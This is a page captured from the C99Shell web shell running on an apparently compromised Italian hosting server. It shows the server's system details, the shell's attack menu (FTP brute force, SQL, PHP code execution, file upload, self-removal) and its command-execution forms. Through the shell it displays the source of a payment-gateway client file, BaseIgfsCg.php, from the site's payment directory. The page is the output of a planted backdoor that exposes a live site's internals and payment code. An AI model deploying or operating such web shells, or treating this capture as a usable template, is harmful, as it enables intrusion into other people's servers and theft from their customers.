!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/IGFS_CG_API/   drwxr-xr-x
Free 183.75 GB of 490.84 GB (37.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BaseIgfsCg.php (7.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once("IGFS_CG_API/IgfsUtils.php");
require_once(
"IGFS_CG_API/Exception.php");

abstract class 
BaseIgfsCg {
    
    private static 
$version "2.1.9";

    public 
$kSig// chiave signature

    
public $serverURL NULL;
    public 
$serverURLs NULL;
    public 
$cTimeout 5000;
    public 
$timeout 30000;
    
    public 
$proxy NULL;

    public 
$tid NULL;

    public 
$rc NULL;
    public 
$error NULL;
    public 
$errorDesc NULL;

    protected 
$fields2Reset false;
    protected 
$checkCert true;
    
    function 
__construct() {
        
$this->resetFields();
    }
   
    protected function 
resetFields() {
        
$this->tid NULL;
        
$this->rc NULL;
        
$this->error false;
        
$this->errorDesc NULL;
        
$this->fields2Reset false;
    }
    
    protected function 
checkFields() {
        if (
$this->serverURL == NULL || "" == $this->serverURL)
            if (
$this->serverURLs == NULL || sizeof($this->serverURLs) == 0)
                throw new 
IgfsMissingParException("Missing serverURL");
        if (
$this->kSig == NULL || "" == $this->kSig)
            throw new 
IgfsMissingParException("Missing kSig");
        if (
$this->tid == NULL || "" == $this->tid)
            throw new 
IgfsMissingParException("Missing tid");
        return 
true;
    }

    
/**
     * Disable Certification Check on SSL HandShake
     */
    
public function disableCheckSSLCert() {
        
$this->checkCert false;
    }

    protected function 
getServerUrl($surl) {
        if (!
IgfsUtils::endsWith($surl"/")) {
            
$surl .= "/";
        }
        return 
$surl $this->getServicePort();
    }
    
    abstract protected function 
getServicePort();
    
    public static function 
getVersion() {
        return 
BaseIgfsCg::$version;
    }

    protected function 
replaceRequest($request$find$value) {
        if (
$value == NULL)
            
$value "";
        return 
str_replace($find$value$request);
    }
    
    protected function 
buildRequest() {
        
$request $this->readFromJARFile($this->getFileName());
        
$request $this->replaceRequest($request"{apiVersion}"$this->getVersion());
        
$request $this->replaceRequest($request"{tid}"$this->tid);
        return 
$request;
    }
    
    abstract protected function 
getFileName();
    
    protected function 
readFromJARFile($filename) {
        
// return file_get_contents($filename, true);
        
return file_get_contents($filename);
    }
 
     abstract protected function 
setRequestSignature($request);

    abstract protected function 
getResponseSignature($response);

    protected static 
$SOAP_ENVELOPE "soap:Envelope";
    protected static 
$SOAP_BODY "soap:Body";
    protected static 
$RESPONSE "response";
    
    protected function 
parseResponse($response) {
            
            
$response str_replace("<soap:""<"$response);
            
$response str_replace("</soap:""</"$response);
            
$dom = new SimpleXMLElement($responseLIBXML_NOERRORfalse);
            if (
count($dom)==0) {
                return;
            }

            
$tmp str_replace("<Body>"""$dom->Body->asXML());
            
$tmp str_replace("</Body>"""$tmp);
            
$dom = new SimpleXMLElement($tmpLIBXML_NOERRORfalse);
            if (
count($dom)==0) {
                return;
            }

            
$root BaseIgfsCg::$RESPONSE;
            if (
count($dom->$root)==0) {
                return;
            }

            
$fields IgfsUtils::parseResponseFields($dom->$root);
            if (isset(
$fields)) {
                
$fields[BaseIgfsCg::$RESPONSE] = $response;
            }
            
            return 
$fields;
            
    }
    
    abstract protected function 
getSoapResponseName();

    protected function 
parseResponseMap($response) {
        
$this->tid $response["tid"];
        
$this->rc $response["rc"];
        if (
$response["error"] == NULL) {
            
$this->error true;
        } else {
            
$this->error = ("true" == $response["error"]);
        }
        
$this->errorDesc $response["errorDesc"];
    }

    protected function 
checkResponseSignature($response) {
        if (
$response["signature"] == NULL)
            return 
false;
        
$signature $response["signature"];
        if (
$signature != $this->getResponseSignature($response))
            return 
false;
        return 
true;
    }

    protected function 
process($url) {
        
// Creiamo la richiesta
        
$request $this->buildRequest();
        if (
$request == NULL) {
            throw new 
IgfsException("IGFS Request is null");
        }
        
// Impostiamo la signature
        
$request $this->setRequestSignature($request);
        
// Inviamo la richiesta e leggiamo la risposta
        
try {
            
// System.out.println(request);
            
$response $this->post($url$request);
            
// System.out.println(response);
        
} catch (IOException $e) {
            throw 
$e;
        }        
        if (
$response == NULL) {
            throw new 
IgfsException("IGFS Response is null");
        }
        
// Parsifichiamo l'XML
        
return $this->parseResponse($response);
    }
    
    private function 
post($url$request) {

        
//open connection 
        
$ch curl_init();

        
$httpHeader = array("Content-Type: text/xml; charset=\"utf-8\"");

        
//set the url, number of POST vars, POST data 
        
curl_setopt($ch,CURLOPT_HTTPHEADER,$httpHeader);         
        
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$this->cTimeout/1000);
        
curl_setopt($ch,CURLOPT_TIMEOUT,$this->timeout/1000);
        
curl_setopt($ch,CURLOPT_URL,$url);
        
curl_setopt($ch,CURLOPT_POST,1);
        
curl_setopt($ch,CURLOPT_POSTFIELDS,$request);
        
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        if (!
$this->proxy != NULL) {
            
curl_setopt($ch,CURLOPT_HTTPPROXYTUNNELtrue);
            
curl_setopt($ch,CURLOPT_PROXY$this->proxy);        
        }
        if (!
$this->checkCert) {
            
curl_setopt($chCURLOPT_SSL_VERIFYPEER,false);
        }

        
//execute post 
        
$result curl_exec($ch);
        if (
curl_errno($ch)) { 
            if (
curl_errno($ch) == CURLE_OPERATION_TIMEDOUT) {
                throw new 
ReadWriteException($urlcurl_error($ch));
            } else {
                throw new 
ConnectionException($urlcurl_error($ch));
            }
        } else { 
            
//close connection 
            
curl_close($ch);    
        } 
        
        return 
$result;
    }

    public function 
execute() {
        try {
            
$this->checkFields();

            if (
$this->serverURL != null) {
                
$mapResponse $this->executeHttp($this->serverURL);
            } else {
                
$i 0;
                
$sURL $this->serverURLs[$i];
                
$finished false;
                while ( ! 
$finished ) {
                    try {
                        
$mapResponse $this->executeHttp($sURL);
                        
$finished true;
                    } catch (
ConnectionException $e) {
                        
$i++;
                        if (
$i sizeof($this->serverURLs) && $this->serverURLs[$i] != null) {
                            
$sURL $this->serverURLs[$i];
                        } else {
                            throw 
$e;
                        }
                    }
                }
            }

            
// Leggiamo i campi
            
$this->parseResponseMap($mapResponse);
            
$this->fields2Reset true;
            if (!
$this->error) {
                
// Verifico la signature
                
if (!$this->checkResponseSignature($mapResponse)) {
                    throw new 
IgfsException("Invalid IGFS Response signature");
                }
                return 
true;
            } else {
                return 
false;
            }
        } catch (
Exception $e) {
            
$this->resetFields();
            
$this->fields2Reset true;
            
$this->error true;
            
$this->errorDesc $e->getMessage();
            if (
$e instanceof IgfsMissingParException) {
                
$this->rc "IGFS_20000"// dati mancanti
                
$this->errorDesc $e->getMessage();
            }
            if (
$e instanceof ConnectionException) {
                
$this->rc "IGFS_007"// errore di comunicazione
                
$this->errorDesc $e->getMessage();
            }
            if (
$e instanceof ReadWriteException) {
                
$this->rc "IGFS_007"// errore di comunicazione
                
$this->errorDesc $e->getMessage();
            }
            if (
$this->rc == null) {
                
$this->rc "IGFS_909"// se nessuno ha settato l'errore...
            
}
            return 
false;
        }
    }

    private function 
executeHttp($url) {
        
$requestMethod "POST";
        
// cTimeout;
        // timeout;
        
$url $this->getServerUrl($url);
        
$contentType $this->getContentType();

        try {
            
$mapResponse $this->process($url);
        } catch (
IOException $e) {
            throw 
$e;
        }
        if (
$mapResponse == NULL) {
            throw new 
IgfsException("Invalid IGFS Response");
        }

        return 
$mapResponse;
    }

    protected function 
getContentType() {
        return 
"text/xml; charset=\"utf-8\"";
    }

    protected function 
getSignature($key$fields) {
        try {
            return 
IgfsUtils::getSignature($key$fields);
        } catch (
Exception $e) {
            throw new 
IgfsException($e);
        }
    }

    protected function 
getUniqueBoundaryValue() {
        return 
IgfsUtils::getUniqueBoundaryValue();
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0078 ]--